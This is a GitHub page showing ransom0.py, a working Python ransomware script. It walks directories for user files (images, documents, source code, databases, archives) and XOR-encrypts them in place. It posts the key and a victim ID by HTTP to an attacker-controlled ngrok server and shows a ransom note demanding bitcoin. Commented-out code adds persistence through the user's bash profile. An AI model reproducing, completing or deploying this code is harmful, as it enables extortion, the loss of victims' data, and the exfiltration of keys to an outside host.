-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathransom0.py
executable file
·275 lines (220 loc) · 8.34 KB
/
ransom0.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
#!/usr/bin/python3
import os
import shutil
import http.client
import subprocess
import base64
import sys
from datetime import datetime
from os import name, path, remove
from random import randint
class Crypto:
def __init__(self, raw_key=None, pretty_key=None):
if raw_key is not None:
self.key = raw_key
elif pretty_key is not None:
self.key = base64.urlsafe_b64decode(pretty_key)
else:
raise ValueError('No key provided')
def encrypt(self, data):
encrypted = bytearray(len(data))
for i in range(len(data)):
encrypted[i] = self.key[i % len(self.key)] ^ data[i]
return bytes(encrypted)
def decrypt(self, data):
return self.encrypt(data)
def pretty_key(self):
return base64.urlsafe_b64encode(self.key)
@classmethod
def generate_key(cls, len_bytes=4):
return os.urandom(len_bytes)
digits = randint(1111, 9999)
crypto = Crypto(Crypto.generate_key(32))
key = crypto.key
url = 'm1' # PUT THE URL YOU GOT FROM NGROK HERE
def encrypt_root():
return len(sys.argv) > 1 and sys.argv[1] == 'root'
def work_path():
if encrypt_root():
return '/'
if len(sys.argv) <= 1:
return '~'
return sys.argv[1]
class ransom0:
username = os.getlogin()
PATH = os.getcwd()
EXCLUDE_DIRECTORY = ( '/usr', #Mac/Linux system directory
'/Library/',
'/System',
'/Applications',
'.Trash',
#Windows system directory
'Program Files',
'Program Files (x86)',
'Windows',
'$Recycle.Bin',
'AppData',
'logs',
)
EXTENSIONS = (
# '.exe,', '.dll', '.so', '.rpm', '.deb', '.vmlinuz', '.img', # SYSTEM FILES - BEWARE! MAY DESTROY SYSTEM!
'.jpg', '.jpeg', '.bmp', '.gif', '.png', '.svg', '.psd', '.raw', # images
'.mp3','.mp4', '.m4a', '.aac','.ogg','.flac', '.wav', '.wma', '.aiff', '.ape', # music and sound
'.avi', '.flv', '.m4v', '.mkv', '.mov', '.mpg', '.mpeg', '.wmv', '.swf', '.3gp', # Video and movies
'.doc', '.docx', '.xls', '.xlsx', '.ppt','.pptx', # Microsoft office
'.odt', '.odp', '.ods', '.txt', '.rtf', '.tex', '.pdf', '.epub', '.md', '.txt', # OpenOffice, Adobe, Latex, Markdown, etc
'.yml', '.yaml', '.json', '.xml', '.csv', # structured data
'.db', '.sql', '.dbf', '.mdb', '.iso', # databases and disc images
'.html', '.htm', '.xhtml', '.php', '.asp', '.aspx', '.js', '.jsp', '.css', # web technologies
'.c', '.cpp', '.cxx', '.h', '.hpp', '.hxx', # C source code
'.java', '.class', '.jar', # java source code
'.ps', '.bat', '.vb', '.vbs' # windows based scripts
'.awk', '.sh', '.cgi', '.pl', '.ada', '.swift', # linux/mac based scripts
'.go', '.py', '.pyc', '.bf', '.coffee', # other source code files
'.zip', '.tar', '.tgz', '.bz2', '.7z', '.rar', '.bak', # compressed formats
)
EXTENSIONS += tuple(map(lambda s: s.upper(), EXTENSIONS))
def clear(self):
subprocess.call('cls' if os.name == 'nt' else 'clear', shell=False)
os.system('cls' if os.name == 'nt' else 'clear')
def FindFiles(self):
f = open("logs/path.txt", "w")
cnt = 0
start_path = work_path()
for root, dirs, files in os.walk(path.expanduser(start_path)):
if any(s in root for s in self.EXCLUDE_DIRECTORY):
pass
else:
for file in files:
if file.endswith('ransom0.py'):
continue
if file.endswith(self.EXTENSIONS):
TARGET = os.path.join(root, file)
f.write(TARGET+'\n')
print(TARGET)
f.close()
f = open("logs/cnt.txt", "w")
f.write(str(cnt))
f.close()
def Encrypt(self, filename):
f = Crypto(key)
with open(filename, "rb") as file:
file_data = file.read()
encrypted_data = f.encrypt(file_data)
with open(filename, "wb") as file:
file.write(encrypted_data)
print(filename)
def SendData(decrypted):
now = datetime.now()
date = now.strftime("%d/%m/%Y %H:%M:%S")
data = f'[{digits}, {crypto.pretty_key()}, "{date}", "{decrypted}"]'
con = http.client.HTTPConnection(url, 8000)
con.request('POST', '', data)
con.getresponse()
con.close()
ransom0 = ransom0()
def StartRansom():
con = http.client.HTTPConnection(url, 8000)
con.request('GET', '/')
con.getresponse()
con.close()
try:
ransom0.FindFiles()
filepath = 'logs/path.txt'
with open(filepath) as fp:
line = fp.readline()
while line:
filename = line.strip()
try:
ransom0.Encrypt(filename)
except Exception:
print("!Permission denied")
line = fp.readline()
fp.close()
SendData('false')
except FileNotFoundError:
os.mkdir("logs")
f = open("logs/digits.txt", "w")
f.write(str(digits))
f.close()
StartRansom()
PATH = os.getcwd()
def DECRYPT_FILE():
print('')
print('')
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
print('!!! !!!')
print('!!! YOUR FILES HAVE BEEN ENCRYPTED !!!')
print('!!! !!!')
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
print('')
print('')
print('YOUR IMPORTANT DOCUMENTS, DATA, PHOTOS, VIDEOS\nHAVE BEEN ENCRYPTED WITH MILITARY GRADE ENCRYPTION\nAND A UNIQUE KEY.')
print('to decrypt them, send 50$ in bitcoin to 346n4apJCQPg2XAXU3bfNQTogz4PyTkrEf,\nand them send proof of transfer and your DIGIT to [email protected]')
print('')
print('YOUR DIGIT IS {}'.format(digits))
def read_pretty_key(prompt=''):
try:
return input(prompt)
except KeyboardInterrupt:
return read_pretty_key()
pretty_key = read_pretty_key("Input your decryption key: ")
def decrypt(filename):
f = Crypto(pretty_key=pretty_key)
with open(filename, "rb") as file:
encrypted_data = file.read()
decrypted_data = f.decrypt(encrypted_data)
with open(filename, "wb") as file:
file.write(decrypted_data)
with open('logs/path.txt') as fp:
line = fp.readline()
while line:
filename = line.strip()
try:
print('Decrypting {}'.format(filename))
decrypt(filename)
except PermissionError:
print("!Permission Denied")
line = fp.readline()
print('YOUR FILES HAVE BEEN DECRYPTED')
shutil.rmtree(PATH+'/logs', ignore_errors=True)
SendData('true')
if __name__ == '__main__':
bashrc_path = path.expanduser('~/.bash_profile')
decrypted_path = path.expanduser('~/.decrypted')
prompt_cmd = "export PROMPT_COMMAND=\"/usr/bin/python3 '{}'\"".format(__file__)
# Enable this if you want to display the ransom prompt to the user
# by modifying their bash_profile
# if path.exists(decrypted_path) and not encrypt_root():
# exit(0)
#
# if path.exists(bashrc_path):
# with open(bashrc_path) as f:
# bashrc_content = f.read()
#
# if bashrc_content.strip().endswith(prompt_cmd):
# pass
# else:
# f = open(bashrc_path, 'a')
# f.write("\n{}\n".format(prompt_cmd))
# f.close()
# else:
# f = open(bashrc_path, 'w')
# f.write("{}\n".format(prompt_cmd))
# f.close()
# Generate digits ID or read generated value from digits.txt
if path.exists("logs") is True:
f = open("logs/digits.txt", "r")
digits = f.read()
f.close()
DECRYPT_FILE()
# g = open(decrypted_path, 'w')
# g.close()
# if path.exists(bashrc_path):
# remove(bashrc_path)
else:
os.mkdir("logs")
f = open("logs/digits.txt", "w")
f.write(str(digits))
f.close()
StartRansom()